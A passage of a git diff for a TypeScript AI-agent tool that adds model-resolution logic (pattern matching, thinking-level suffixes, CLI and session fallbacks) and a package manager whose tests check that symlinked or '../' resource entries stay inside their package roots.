baseUrl?: string; + apiKey?: string; + auth?: ProviderAuthMode; + api?: Api; + streamSimple?: ( + model: Model, + context: Context, + options?: SimpleStreamOptions, + ) => AssistantMessageEventStreamContract; + headers?: Record; + authHeader?: boolean; + /** OAuth provider for /login support */ + oauth?: Omit; + models?: Array<{ + id: string; + name: string; + api?: Api; + baseUrl?: string; + reasoning: boolean; + thinkingLevelMap?: Model["thinkingLevelMap"]; + input: ("text" | "image")[]; + cost: { input: number; output: number; cacheRead: number; cacheWrite: number }; + contextWindow: number; + maxTokens: number; + headers?: Record; + compat?: Model["compat"]; + }>; +} diff --git a/src/agents/sessions/model-resolver.test.ts b/src/agents/sessions/model-resolver.test.ts new file mode 100644 index 00000000000..9dc63f283ac --- /dev/null +++ b/src/agents/sessions/model-resolver.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, it } from "vitest"; +import type { Model } from "../../llm/types.js"; +import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; +import type { ModelRegistry } from "./model-registry.js"; +import { findInitialModel, restoreModelFromSession } from "./model-resolver.js"; + +function model(provider: string, id: string): Model { + return { + id, + name: id, + api: "openai-responses", + provider, + baseUrl: `https://${provider}.example.test`, + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128_000, + maxTokens: 16_384, + }; +} + +function registry(models: Model[]): ModelRegistry { + return { + find: (provider: string, modelId: string) => + models.find((entry) => entry.provider === provider && entry.id === modelId), + getAvailable: () => models, + hasConfiguredAuth: (entry: Model) => models.includes(entry), + } as ModelRegistry; +} + +describe("model resolver fallback selection", () => { + it("prefers the product default when no configured or scoped model is selected", async () => { + const productDefault = model(DEFAULT_PROVIDER, DEFAULT_MODEL); + const result = await findInitialModel({ + scopedModels: [], + isContinuing: false, + modelRegistry: registry([model("anthropic", "claude-opus-4.7"), productDefault]), + }); + + expect(result.model).toBe(productDefault); + }); + + it("falls back to registry order instead of core provider defaults", async () => { + const firstAvailable = model("anthropic", "claude-haiku"); + const result = await restoreModelFromSession( + "openai", + "missing-model", + undefined, + false, + registry([firstAvailable, model("anthropic", "claude-opus-4.7")]), + ); + + expect(result.model).toBe(firstAvailable); + }); +}); diff --git a/src/agents/sessions/model-resolver.ts b/src/agents/sessions/model-resolver.ts new file mode 100644 index 00000000000..4acf8d887da --- /dev/null +++ b/src/agents/sessions/model-resolver.ts @@ -0,0 +1,629 @@ +/** + * Model resolution, scoping, and initial selection + */ + +import chalk from "chalk"; +import { minimatch } from "minimatch"; +import { modelsAreEqual } from "../../llm/model-utils.js"; +import type { Model } from "../../llm/types.js"; +import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; +import type { ThinkingLevel } from "../runtime/index.js"; +import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; +import type { ModelRegistry } from "./model-registry.js"; + +const VALID_THINKING_LEVELS = ["off", "minimal", "low", "medium", "high", "xhigh"] as const; + +function isValidThinkingLevel(level: string): level is ThinkingLevel { + return VALID_THINKING_LEVELS.includes(level as ThinkingLevel); +} + +export interface ScopedModel { + model: Model; + /** Thinking level if explicitly specified in pattern (e.g., "model:high"), undefined otherwise */ + thinkingLevel?: ThinkingLevel; +} + +/** + * Helper to check if a model ID looks like an alias (no date suffix) + * Dates are typically in format: -20241022 or -20250929 + */ +function isAlias(id: string): boolean { + // Check if ID ends with -latest + if (id.endsWith("-latest")) { + return true; + } + + // Check if ID ends with a date pattern (-YYYYMMDD) + const datePattern = /-\d{8}$/; + return !datePattern.test(id); +} + +/** + * Find an exact model reference match. + * Supports either a bare model id or a canonical provider/modelId reference. + * When matching by bare id, ambiguous matches across providers are rejected. + */ +export function findExactModelReferenceMatch( + modelReference: string, + availableModels: Model[], +): Model | undefined { + const trimmedReference = modelReference.trim(); + if (!trimmedReference) { + return undefined; + } + + const normalizedReference = trimmedReference.toLowerCase(); + + const canonicalMatches = availableModels.filter( + (model) => `${model.provider}/${model.id}`.toLowerCase() === normalizedReference, + ); + if (canonicalMatches.length === 1) { + return canonicalMatches[0]; + } + if (canonicalMatches.length > 1) { + return undefined; + } + + const slashIndex = trimmedReference.indexOf("/"); + if (slashIndex !== -1) { + const provider = trimmedReference.slice(0, slashIndex).trim(); + const modelId = trimmedReference.slice(slashIndex + 1).trim(); + if (provider && modelId) { + const providerMatches = availableModels.filter( + (model) => + model.provider.toLowerCase() === provider.toLowerCase() && + model.id.toLowerCase() === modelId.toLowerCase(), + ); + if (providerMatches.length === 1) { + return providerMatches[0]; + } + if (providerMatches.length > 1) { + return undefined; + } + } + } + + const idMatches = availableModels.filter( + (model) => model.id.toLowerCase() === normalizedReference, + ); + return idMatches.length === 1 ? idMatches[0] : undefined; +} + +/** + * Try to match a pattern to a model from the available models list. + * Returns the matched model or undefined if no match found. + */ +function tryMatchModel(modelPattern: string, availableModels: Model[]): Model | undefined { + const exactMatch = findExactModelReferenceMatch(modelPattern, availableModels); + if (exactMatch) { + return exactMatch; + } + + // No exact match - fall back to partial matching + const matches = availableModels.filter( + (m) => + m.id.toLowerCase().includes(modelPattern.toLowerCase()) || + m.name?.toLowerCase().includes(modelPattern.toLowerCase()), + ); + + if (matches.length === 0) { + return undefined; + } + + // Separate into aliases and dated versions + const aliases = matches.filter((m) => isAlias(m.id)); + const datedVersions = matches.filter((m) => !isAlias(m.id)); + + if (aliases.length > 0) { + // Prefer alias - if multiple aliases, pick the one that sorts highest + aliases.sort((a, b) => b.id.localeCompare(a.id)); + return aliases[0]; + } + // No alias found, pick latest dated version + datedVersions.sort((a, b) => b.id.localeCompare(a.id)); + return datedVersions[0]; +} + +export interface ParsedModelResult { + model: Model | undefined; + /** Thinking level if explicitly specified in pattern, undefined otherwise */ + thinkingLevel?: ThinkingLevel; + warning: string | undefined; +} + +function buildFallbackModel( + provider: string, + modelId: string, + availableModels: Model[], +): Model | undefined { + const providerModels = availableModels.filter((m) => m.provider === provider); + if (providerModels.length === 0) { + return undefined; + } + + const baseModel = providerModels[0]; + + return { + ...baseModel, + id: modelId, + name: modelId, + }; +} + +function selectAvailableFallbackModel(availableModels: readonly Model[]): Model | undefined { + return ( + availableModels.find( + (model) => model.provider === DEFAULT_PROVIDER && model.id === DEFAULT_MODEL, + ) ?? availableModels[0] + ); +} + +/** + * Parse a pattern to extract model and thinking level. + * Handles models with colons in their IDs (e.g., OpenRouter's :exacto suffix). + * + * Algorithm: + * 1. Try to match full pattern as a model + * 2. If found, return it with "off" thinking level + * 3. If not found and has colons, split on last colon: + * - If suffix is valid thinking level, use it and recurse on prefix + * - If suffix is invalid, warn and recurse on prefix with "off" + * + * @internal Exported for testing + */ +export function parseModelPattern( + pattern: string, + availableModels: Model[], + options?: { allowInvalidThinkingLevelFallback?: boolean }, +): ParsedModelResult { + // Try exact match first + const exactMatch = tryMatchModel(pattern, availableModels); + if (exactMatch) { + return { model: exactMatch, thinkingLevel: undefined, warning: undefined }; + } + + // No match - try splitting on last colon if present + const lastColonIndex = pattern.lastIndexOf(":"); + if (lastColonIndex === -1) { + // No colons, pattern simply doesn't match unknown model + return { model: undefined, thinkingLevel: undefined, warning: undefined }; + } + + const prefix = pattern.slice(0, lastColonIndex); + const suffix = pattern.slice(lastColonIndex + 1); + + if (isValidThinkingLevel(suffix)) { + // Valid thinking level - recurse on prefix and use this level + const result = parseModelPattern(prefix, availableModels, options); + if (result.model) { + // Only use this thinking level if no warning from inner recursion + return { + model: result.model, + thinkingLevel: result.warning ? undefined : suffix, + warning: result.warning, + }; + } + return result; + } + // Invalid suffix + const allowFallback = options?.allowInvalidThinkingLevelFallback ?? true; + if (!allowFallback) { + // In strict mode (CLI --model parsing), treat it as part of the model id and fail. + // This avoids accidentally resolving to a different model. + return { model: undefined, thinkingLevel: undefined, warning: undefined }; + } + + // Scope mode: recurse on prefix and warn + const result = parseModelPattern(prefix, availableModels, options); + if (result.model) { + return { + model: result.model, + thinkingLevel: undefined, + warning: `Invalid thinking level "${suffix}" in pattern "${pattern}". Using default instead.`, + }; + } + return result; +} + +/** + * Resolve model patterns to actual Model objects with optional thinking levels + * Format: "pattern:level" where :level is optional + * For each pattern, finds all matching models and picks the best version: + * 1. Prefer alias (e.g., claude-sonnet-4-5) over dated versions (claude-sonnet-4-5-20250929) + * 2. If no alias, pick the latest dated version + * + * Supports models with colons in their IDs (e.g., OpenRouter's model:exacto). + * The algorithm tries to match the full pattern first, then progressively + * strips colon-suffixes to find a match. + */ +export async function resolveModelScope( + patterns: string[], + modelRegistry: ModelRegistry, +): Promise { + const availableModels = modelRegistry.getAvailable(); + const scopedModels: ScopedModel[] = []; + + for (const pattern of patterns) { + // Check if pattern contains glob characters + if (pattern.includes("*") || pattern.includes("?") || pattern.includes("[")) { + // Extract optional thinking level suffix (e.g., "provider/*:high") + const colonIdx = pattern.lastIndexOf(":"); + let globPattern = pattern; + let thinkingLevel: ThinkingLevel | undefined; + + if (colonIdx !== -1) { + const suffix = pattern.slice(colonIdx + 1); + if (isValidThinkingLevel(suffix)) { + thinkingLevel = suffix; + globPattern = pattern.slice(0, colonIdx); + } + } + + // Match against "provider/modelId" format OR just model ID + // This allows "*sonnet*" to match without requiring "anthropic/*sonnet*" + const matchingModels = availableModels.filter((m) => { + const fullId = `${m.provider}/${m.id}`; + return ( + minimatch(fullId, globPattern, { nocase: true }) || + minimatch(m.id, globPattern, { nocase: true }) + ); + }); + + if (matchingModels.length === 0) { + console.warn(chalk.yellow(`Warning: No models match pattern "${pattern}"`)); + continue; + } + + for (const model of matchingModels) { + if (!scopedModels.some((sm) => modelsAreEqual(sm.model, model))) { + scopedModels.push({ model, thinkingLevel }); + } + } + continue; + } + + const { model, thinkingLevel, warning } = parseModelPattern(pattern, availableModels); + + if (warning) { + console.warn(chalk.yellow(`Warning: ${warning}`)); + } + + if (!model) { + console.warn(chalk.yellow(`Warning: No models match pattern "${pattern}"`)); + continue; + } + + // Avoid duplicates + if (!scopedModels.some((sm) => modelsAreEqual(sm.model, model))) { + scopedModels.push({ model, thinkingLevel }); + } + } + + return scopedModels; +} + +export interface ResolveCliModelResult { + model: Model | undefined; + thinkingLevel?: ThinkingLevel; + warning: string | undefined; + /** + * Error message suitable for CLI display. + * When set, model will be undefined. + */ + error: string | undefined; +} + +/** + * Resolve a single model from CLI flags. + * + * Supports: + * - --provider --model + * - --model / + * - Fuzzy matching (same rules as model scoping: exact id, then partial id/name) + * + * Note: This does not apply the thinking level by itself, but it may *parse* and + * return a thinking level from ":" so the caller can apply it. + */ +export function resolveCliModel(options: { + cliProvider?: string; + cliModel?: string; + modelRegistry: ModelRegistry; +}): ResolveCliModelResult { + const { cliProvider, cliModel, modelRegistry } = options; + + if (!cliModel) { + return { model: undefined, warning: undefined, error: undefined }; + } + + // Important: use *all* models here, not just models with pre-configured auth. + // This allows "--api-key" to be used for first-time setup. + const availableModels = modelRegistry.getAll(); + if (availableModels.length === 0) { + return { + model: undefined, + warning: undefined, + error: "No models available. Check your installation or add models to models.json.", + }; + } + + // Build canonical provider lookup (case-insensitive) + const providerMap = new Map(); + for (const m of availableModels) { + providerMap.set(m.provider.toLowerCase(), m.provider); + } + + let provider = cliProvider ? providerMap.get(cliProvider.toLowerCase()) : undefined; + if (cliProvider && !provider) { + return { + model: undefined, + warning: undefined, + error: `Unknown provider "${cliProvider}". Use --list-models to see available providers/models.`, + }; + } + + // If no explicit --provider, try to interpret "provider/model" format first. + // When the prefix before the first slash matches a known provider, prefer that + // interpretation over matching models whose IDs literally contain slashes + // (e.g. "zai/glm-5" should resolve to provider=zai, model=glm-5, not to a + // vercel-ai-gateway model with id "zai/glm-5"). + let pattern = cliModel; + let inferredProvider = false; + + if (!provider) { + const slashIndex = cliModel.indexOf("/"); + if (slashIndex !== -1) { + const maybeProvider = cliModel.slice(0, slashIndex); + const canonical = providerMap.get(maybeProvider.toLowerCase()); + if (canonical) { + provider = canonical; + pattern = cliModel.slice(slashIndex + 1); + inferredProvider = true; + } + } + } + + // If no provider was inferred from the slash, try exact matches without provider inference. + // This handles models whose IDs naturally contain slashes (e.g. OpenRouter-style IDs). + if (!provider) { + const lower = cliModel.toLowerCase(); + const exact = availableModels.find( + (m) => m.id.toLowerCase() === lower || `${m.provider}/${m.id}`.toLowerCase() === lower, + ); + if (exact) { + return { model: exact, warning: undefined, thinkingLevel: undefined, error: undefined }; + } + } + + if (cliProvider && provider) { + // If both were provided, tolerate --model / by stripping the provider prefix + const prefix = `${provider}/`; + if (cliModel.toLowerCase().startsWith(prefix.toLowerCase())) { + pattern = cliModel.slice(prefix.length); + } + } + + const candidates = provider + ? availableModels.filter((m) => m.provider === provider) + : availableModels; + const { model, thinkingLevel, warning } = parseModelPattern(pattern, candidates, { + allowInvalidThinkingLevelFallback: false, + }); + + if (model) { + return { model, thinkingLevel, warning, error: undefined }; + } + + // If we inferred a provider from the slash but found no match within that provider, + // fall back to matching the full input as a raw model id across all models. + // This handles OpenRouter-style IDs like "openai/gpt-4o:extended" where "openai" + // looks like a provider but the full string is actually a model id on openrouter. + if (inferredProvider) { + const lower = cliModel.toLowerCase(); + const exact = availableModels.find( + (m) => m.id.toLowerCase() === lower || `${m.provider}/${m.id}`.toLowerCase() === lower, + ); + if (exact) { + return { model: exact, warning: undefined, thinkingLevel: undefined, error: undefined }; + } + // Also try parseModelPattern on the full input against all models + const fallback = parseModelPattern(cliModel, availableModels, { + allowInvalidThinkingLevelFallback: false, + }); + if (fallback.model) { + return { + model: fallback.model, + thinkingLevel: fallback.thinkingLevel, + warning: fallback.warning, + error: undefined, + }; + } + } + + if (provider) { + const fallbackModel = buildFallbackModel(provider, pattern, availableModels); + if (fallbackModel) { + const fallbackWarning = warning + ? `${warning} Model "${pattern}" not found for provider "${provider}". Using custom model id.` + : `Model "${pattern}" not found for provider "${provider}". Using custom model id.`; + return { + model: fallbackModel, + thinkingLevel: undefined, + warning: fallbackWarning, + error: undefined, + }; + } + } + + const display = provider ? `${provider}/${pattern}` : cliModel; + return { + model: undefined, + thinkingLevel: undefined, + warning, + error: `Model "${display}" not found. Use --list-models to see available models.`, + }; +} + +export interface InitialModelResult { + model: Model | undefined; + thinkingLevel: ThinkingLevel; + fallbackMessage: string | undefined; +} + +/** + * Find the initial model to use based on priority: + * 1. CLI args (provider + model) + * 2. First model from scoped models (if not continuing/resuming) + * 3. Restored from session (if continuing/resuming) + * 4. Saved default from settings + * 5. First available model with valid API key + */ +export async function findInitialModel(options: { + cliProvider?: string; + cliModel?: string; + scopedModels: ScopedModel[]; + isContinuing: boolean; + defaultProvider?: string; + defaultModelId?: string; + defaultThinkingLevel?: ThinkingLevel; + modelRegistry: ModelRegistry; +}): Promise { + const { + cliProvider, + cliModel, + scopedModels, + isContinuing, + defaultProvider, + defaultModelId, + defaultThinkingLevel, + modelRegistry, + } = options; + + let model: Model | undefined; + let thinkingLevel: ThinkingLevel = DEFAULT_THINKING_LEVEL; + + // 1. CLI args take priority + if (cliProvider && cliModel) { + const resolved = resolveCliModel({ + cliProvider, + cliModel, + modelRegistry, + }); + if (resolved.error) { + console.error(chalk.red(resolved.error)); + process.exit(1); + } + if (resolved.model) { + return { + model: resolved.model, + thinkingLevel: DEFAULT_THINKING_LEVEL, + fallbackMessage: undefined, + }; + } + } + + // 2. Use first model from scoped models (skip if continuing/resuming) + if (scopedModels.length > 0 && !isContinuing) { + return { + model: scopedModels[0].model, + thinkingLevel: + scopedModels[0].thinkingLevel ?? defaultThinkingLevel ?? DEFAULT_THINKING_LEVEL, + fallbackMessage: undefined, + }; + } + + // 3. Try saved default from settings + if (defaultProvider && defaultModelId) { + const found = modelRegistry.find(defaultProvider, defaultModelId); + if (found) { + model = found; + if (defaultThinkingLevel) { + thinkingLevel = defaultThinkingLevel; + } + return { model, thinkingLevel, fallbackMessage: undefined }; + } + } + + // 4. Try first available model with valid API key + const availableModels = modelRegistry.getAvailable(); + + if (availableModels.length > 0) { + return { + model: selectAvailableFallbackModel(availableModels), + thinkingLevel: DEFAULT_THINKING_LEVEL, + fallbackMessage: undefined, + }; + } + + // 5. No model found + return { model: undefined, thinkingLevel: DEFAULT_THINKING_LEVEL, fallbackMessage: undefined }; +} + +/** + * Restore model from session, with fallback to available models + */ +export async function restoreModelFromSession( + savedProvider: string, + savedModelId: string, + currentModel: Model | undefined, + shouldPrintMessages: boolean, + modelRegistry: ModelRegistry, +): Promise<{ model: Model | undefined; fallbackMessage: string | undefined }> { + const restoredModel = modelRegistry.find(savedProvider, savedModelId); + + // Check if restored model exists and still has auth configured + const hasConfiguredAuth = restoredModel ? modelRegistry.hasConfiguredAuth(restoredModel) : false; + + if (restoredModel && hasConfiguredAuth) { + if (shouldPrintMessages) { + console.log(chalk.dim(`Restored model: ${savedProvider}/${savedModelId}`)); + } + return { model: restoredModel, fallbackMessage: undefined }; + } + + // Model not found or no API key - fall back + const reason = !restoredModel ? "model no longer exists" : "no auth configured"; + + if (shouldPrintMessages) { + console.error( + chalk.yellow( + `Warning: Could not restore model ${savedProvider}/${savedModelId} (${reason}).`, + ), + ); + } + + // If we already have a model, use it as fallback + if (currentModel) { + if (shouldPrintMessages) { + console.log(chalk.dim(`Falling back to: ${currentModel.provider}/${currentModel.id}`)); + } + return { + model: currentModel, + fallbackMessage: `Could not restore model ${savedProvider}/${savedModelId} (${reason}). Using ${currentModel.provider}/${currentModel.id}.`, + }; + } + + // Try to find any available model + const availableModels = modelRegistry.getAvailable(); + + if (availableModels.length > 0) { + const fallbackModel = selectAvailableFallbackModel(availableModels); + if (!fallbackModel) { + return { + model: undefined, + fallbackMessage: `Could not restore model ${savedProvider}/${savedModelId} (${reason}). No models available.`, + }; + } + + if (shouldPrintMessages) { + console.log(chalk.dim(`Falling back to: ${fallbackModel.provider}/${fallbackModel.id}`)); + } + + return { + model: fallbackModel, + fallbackMessage: `Could not restore model ${savedProvider}/${savedModelId} (${reason}). Using ${fallbackModel.provider}/${fallbackModel.id}.`, + }; + } + + // No models available + return { model: undefined, fallbackMessage: undefined }; +} diff --git a/src/agents/sessions/package-manager.test.ts b/src/agents/sessions/package-manager.test.ts new file mode 100644 index 00000000000..29a3d8a7fb5 --- /dev/null +++ b/src/agents/sessions/package-manager.test.ts @@ -0,0 +1,182 @@ +import { mkdtemp, mkdir, rm, symlink, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { DefaultPackageManager } from "./package-manager.js"; +import { SettingsManager } from "./settings-manager.js"; + +const tempDirs: string[] = []; + +async function makeTempDir(prefix: string): Promise { + const dir = await mkdtemp(join(tmpdir(), prefix)); + tempDirs.push(dir); + return dir; +} + +afterEach(async () => { + await Promise.all(tempDirs.splice(0).map((dir) => rm(dir, { recursive: true, force: true }))); +}); + +describe("DefaultPackageManager", () => { + it("keeps manifest resource entries inside the package root", async () => { + const root = await makeTempDir("openclaw-package-manager-"); + const packageRoot = join(root, "package"); + const outsideRoot = join(root, "outside"); + const insideSkill = join(packageRoot, "skills", "inside", "SKILL.md"); + const outsideSkill = join(outsideRoot, "SKILL.md"); + await mkdir(join(packageRoot, "skills", "inside"), { recursive: true }); + await mkdir(outsideRoot, { recursive: true }); + await writeFile(insideSkill, "# Inside\n", "utf-8"); + await writeFile(outsideSkill, "# Outside\n", "utf-8"); + + const entries = ["skills/inside/SKILL.md", "../outside/SKILL.md", "../outside/*.md"]; + try { + await symlink(outsideRoot, join(packageRoot, "skills", "linked"), "dir"); + entries.push("skills/linked/SKILL.md"); + } catch { + // Some filesystems disallow directory symlinks; path traversal coverage is still enough there. + } + + await writeFile( + join(packageRoot, "package.json"), + JSON.stringify({ openclaw: { skills: entries } }), + "utf-8", + ); + + const manager = new DefaultPackageManager({ + cwd: root, + agentDir: join(root, "agent"), + settingsManager: SettingsManager.inMemory({ packages: [packageRoot] }), + }); + + const resolved = await manager.resolve(); + const skillPaths = resolved.skills.map((skill) => skill.path); + + expect(skillPaths).toContain(insideSkill); + expect(skillPaths).not.toContain(outsideSkill); + }); + + it("keeps convention-discovered resource entries inside the package root", async () => { + const root = await makeTempDir("openclaw-package-manager-"); + const packageRoot = join(root, "package"); + const outsideRoot = join(root, "outside"); + const insideSkill = join(packageRoot, "skills", "inside", "SKILL.md"); + await mkdir(join(packageRoot, "skills", "inside"), { recursive: true }); + await mkdir(outsideRoot, { recursive: true }); + await writeFile(insideSkill, "# Inside\n", "utf-8"); + await writeFile(join(outsideRoot, "SKILL.md"), "# Outside\n", "utf-8"); + await writeFile(join(packageRoot, "package.json"), JSON.stringify({ name: "pkg" }), "utf-8"); + + try { + await symlink(outsideRoot, join(packageRoot, "skills", "linked"), "dir"); + } catch { + // Some filesystems disallow directory symlinks; skip the symlink-only assertion there. + } + + const manager = new DefaultPackageManager({ + cwd: root, + agentDir: join(root, "agent"), + settingsManager: SettingsManager.inMemory({ packages: [packageRoot] }), + }); + + const resolved = await manager.resolve(); + const skillPaths = resolved.skills.map((skill) => skill.path); + + expect(skillPaths).toContain(insideSkill); + expect(skillPaths.some((skillPath) => skillPath.includes(join("skills", "linked")))).toBe( + false, + ); + }); + + it("keeps auto-discovered project skills inside their skill root", async () => { + const root = await makeTempDir("openclaw-package-manager-"); + const agentsSkillsRoot = join(root, ".agents", "skills"); + const insideSkill = join(agentsSkillsRoot, "inside", "SKILL.md"); + const outsideRoot = join(root, "outside"); + await mkdir(join(root, ".git")); + await mkdir(join(agentsSkillsRoot, "inside"), { recursive: true }); + await mkdir(outsideRoot, { recursive: true }); + await writeFile(insideSkill, "# Inside\n", "utf-8"); + await writeFile(join(outsideRoot, "SKILL.md"), "# Outside\n", "utf-8"); + + try { + await symlink(outsideRoot, join(agentsSkillsRoot, "linked"), "dir"); + } catch { + // Some filesystems disallow directory symlinks; the inside assertion still proves discovery. + } + + const manager = new DefaultPackageManager({ + cwd: root, + agentDir: join(root, "agent"), + settingsManager: SettingsManager.inMemory({}), + }); + + const resolved = await manager.resolve(); + const skillPaths = resolved.skills.map((skill) => skill.path); + + expect(skillPaths).toContain(insideSkill); + expect(skillPaths.some((skillPath) => skillPath.includes(join("skills", "linked")))).toBe( + false, + ); + }); + + it("keeps auto-discovered project resources inside their resource roots", async () => { + const root = await makeTempDir("openclaw-package-manager-"); + const configRoot = join(root, ".openclaw"); + const outsideRoot = join(root, "outside"); + const insidePrompt = join(configRoot, "prompts", "inside.md"); + const insideTheme = join(configRoot, "themes", "inside.json"); + const insideExtension = join(configRoot, "extensions", "inside.ts"); + await mkdir(join(root, ".git")); + await mkdir(join(configRoot, "prompts"), { recursive: true }); + await mkdir(join(configRoot, "themes"), { recursive: true }); + await mkdir(join(configRoot, "extensions"), { recursive: true }); + await mkdir(outsideRoot, { recursive: true }); + await writeFile(insidePrompt, "# Inside\n", "utf-8"); + await writeFile(insideTheme, "{}\n", "utf-8"); + await writeFile(insideExtension, "export default {};\n", "utf-8"); + await writeFile(join(outsideRoot, "outside.md"), "# Outside\n", "utf-8"); + await writeFile(join(outsideRoot, "outside.json"), "{}\n", "utf-8"); + await writeFile(join(outsideRoot, "outside.ts"), "export default {};\n", "utf-8"); + + try { + await symlink(join(outsideRoot, "outside.md"), join(configRoot, "prompts", "linked.md")); + await symlink(join(outsideRoot, "outside.json"), join(configRoot, "themes", "linked.json")); + await symlink(join(outsideRoot, "outside.ts"), join(configRoot, "extensions", "linked.ts")); + await symlink(outsideRoot, join(configRoot, "extensions", "linked-dir"), "dir"); + } catch { + // Some filesystems disallow symlinks; the inside assertions still prove discovery. + } + + const manager = new DefaultPackageManager({ + cwd: root, + agentDir: join(root, "agent"), + settingsManager: SettingsManager.inMemory({}), + }); + + const resolved = await manager.resolve(); + + expect(resolved.prompts.map((prompt) => prompt.path)).toContain(insidePrompt); + expect(resolved.themes.map((theme) => theme.path)).toContain(insideTheme); + expect(resolved.extensions.map((extension) => extension.path)).toContain(insideExtension); + expect(resolved.prompts.some((prompt) => prompt.path.includes("linked"))).toBe(false); + expect(resolved.themes.some((theme) => theme.path.includes("linked"))).toBe(false); + expect(resolved.extensions.some((extension) => extension.path.includes("linked"))).toBe(false); + }); + + it("does not auto-install missing npm package resources", async () => { + const root = await makeTempDir("openclaw-package-manager-"); + const manager = new DefaultPackageManager({ + cwd: root, + agentDir: join(root, "agent"), + settingsManager: SettingsManager.inMemory({ packages: ["npm:@openclaw/missing-test"] }), + }); + + const resolved = await manager.resolve(); + + expect(resolved.extensions).toEqual([]); + expect(resolved.skills).toEqual([]); + expect(resolved.prompts).toEqual([]); + expect(resolved.themes).toEqual([]); + }); +}); diff --git a/src/agents/sessions/package-manager.ts b/src/agents/sessions/package-manager.ts new file mode 100644 index 00000000000..7a1a122733e --- /dev/null +++ b/src/agents/sessions/package-manager.ts @@ -0,0 +1,1625 @@ +import { createHash } from "node:crypto"; +import { existsSync, readdirSync, readFileSync, realpathSync, statSync } from "node:fs"; +import { homedir, tmpdir } from "node:os"; +import { basename, dirname, isAbsolute, join, relative, resolve, sep } from "node:path"; +import { globSync } from "glob"; +import ignore from "ignore"; +import { minimatch } from "minimatch"; +import { CONFIG_DIR_NAME } from "../config.js"; +import { type GitSource, parseGitUrl } from "../utils/git.js"; +import { canonicalizePath, isLocalPath } from "../utils/paths.js"; +import type { PackageSource, SettingsManager } from "./settings-manager.js"; + +export interface PathMetadata { + source: string; + scope: SourceScope; + origin: "package" | "top-level"; + baseDir?: string; +} + +export interface ResolvedResource { + path: string; + enabled: boolean; + metadata: PathMetadata; +} + +export interface ResolvedPaths { + extensions: ResolvedResource[]; + skills: ResolvedResource[]; + prompts: ResolvedResource[]; + themes: ResolvedResource[]; +} + +export type MissingSourceAction = "skip" | "error"; + +export interface PackageManager { + resolve(onMissing?: (source: string) => Promise): Promise; + resolveExtensionSources( + sources: string[], + options?: { local?: boolean; temporary?: boolean }, + ): Promise; +} + +interface PackageManagerOptions { + cwd: string; + agentDir: string; + settingsManager: SettingsManager; +} + +type SourceScope = "user" | "project" | "temporary"; + +type NpmSource = { + type: "npm"; + spec: string; + name: string; + pinned: boolean; +}; + +type LocalSource = { + type: "local"; + path: string; +}; + +type ParsedSource = NpmSource | GitSource | LocalSource; + +interface ResourceManifest { + extensions?: string[]; + skills?: string[]; + prompts?: string[]; + themes?: string[]; +} + +interface ResourceAccumulator { + extensions: Map; + skills: Map; + prompts: Map; + themes: Map; +} + +/** + * Compute a numeric precedence rank for a resource based on its metadata. + * Lower rank = higher precedence. Used to sort resolved resources so that + * name-collision resolution ("first wins") produces the correct outcome. + * + * Precedence (highest to lowest): + * 0 project + settings entry (source: "local", scope: "project") + * 1 project + auto-discovered (source: "auto", scope: "project") + * 2 user + settings entry (source: "local", scope: "user") + * 3 user + auto-discovered (source: "auto", scope: "user") + * 4 package resource (origin: "package") + */ +function resourcePrecedenceRank(m: PathMetadata): number { + if (m.origin === "package") { + return 4; + } + const scopeBase = m.scope === "project" ? 0 : 2; + return scopeBase + (m.source === "local" ? 0 : 1); +} + +interface PackageFilter { + extensions?: string[]; + skills?: string[]; + prompts?: string[]; + themes?: string[]; +} + +type ResourceType = "extensions" | "skills" | "prompts" | "themes"; + +const RESOURCE_TYPES: ResourceType[] = ["extensions", "skills", "prompts", "themes"]; + +const FILE_PATTERNS: Record = { + extensions: /\.(ts|js)$/, + skills: /\.md$/, + prompts: /\.md$/, + themes: /\.json$/, +}; + +const IGNORE_FILE_NAMES = [".gitignore", ".ignore", ".fdignore"]; + +type IgnoreMatcher = ReturnType; + +function toPosixPath(p: string): string { + return p.split(sep).join("/"); +} + +function getHomeDir(): string { + return process.env.HOME || homedir(); +} + +function prefixIgnorePattern(line: string, prefix: string): string | null { + const trimmed = line.trim(); + if (!trimmed) { + return null; + } + if (trimmed.startsWith("#") && !trimmed.startsWith("\\#")) { + return null; + } + + let pattern = line; + let negated = false; + + if (pattern.startsWith("!")) { + negated = true; + pattern = pattern.slice(1); + } else if (pattern.startsWith("\\!")) { + pattern = pattern.slice(1); + } + + if (pattern.startsWith("/")) { + pattern = pattern.slice(1); + } + + const prefixed = prefix ? `${prefix}${pattern}` : pattern; + return negated ? `!${prefixed}` : prefixed; +} + +function addIgnoreRules(ig: IgnoreMatcher, dir: string, rootDir: string): void { + const relativeDir = relative(rootDir, dir); + const prefix = relativeDir ? `${toPosixPath(relativeDir)}/` : ""; + + for (const filename of IGNORE_FILE_NAMES) { + const ignorePath = join(dir, filename); + if (!existsSync(ignorePath)) { + continue; + } + try { + const content = readFileSync(ignorePath, "utf-8"); + const patterns = content + .split(/\r?\n/) + .map((line) => prefixIgnorePattern(line, prefix)) + .filter((line): line is string => Boolean(line)); + if (patterns.length > 0) { + ig.add(patterns); + } + } catch {} + } +} + +function isPattern(s: string): boolean { + return ( + s.startsWith("!") || + s.startsWith("+") || + s.startsWith("-") || + s.includes("*") || + s.includes("?") + ); +} + +function isOverridePattern(s: string): boolean { + return s.startsWith("!") || s.startsWith("+") || s.startsWith("-"); +} + +function hasGlobPattern(s: string): boolean { + return s.includes("*") || s.includes("?"); +} + +function splitPatterns(entries: string[]): { plain: string[]; patterns: string[] } { + const plain: string[] = []; + const patterns: string[] = []; + for (const entry of entries) { + if (isPattern(entry)) { + patterns.push(entry); + } else { + plain.push(entry); + } + } + return { plain, patterns }; +} + +function collectFiles( + dir: string, + filePattern: RegExp, + skipNodeModules = true, + ignoreMatcher?: IgnoreMatcher, + rootDir?: string, +): string[] { + const files: string[] = []; + if (!existsSync(dir)) { + return files; + } + + const root = rootDir ?? dir; + const ig = ignoreMatcher ?? ignore(); + addIgnoreRules(ig, dir, root); + + try { + const entries = readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + if (entry.name.startsWith(".")) { + continue; + } + if 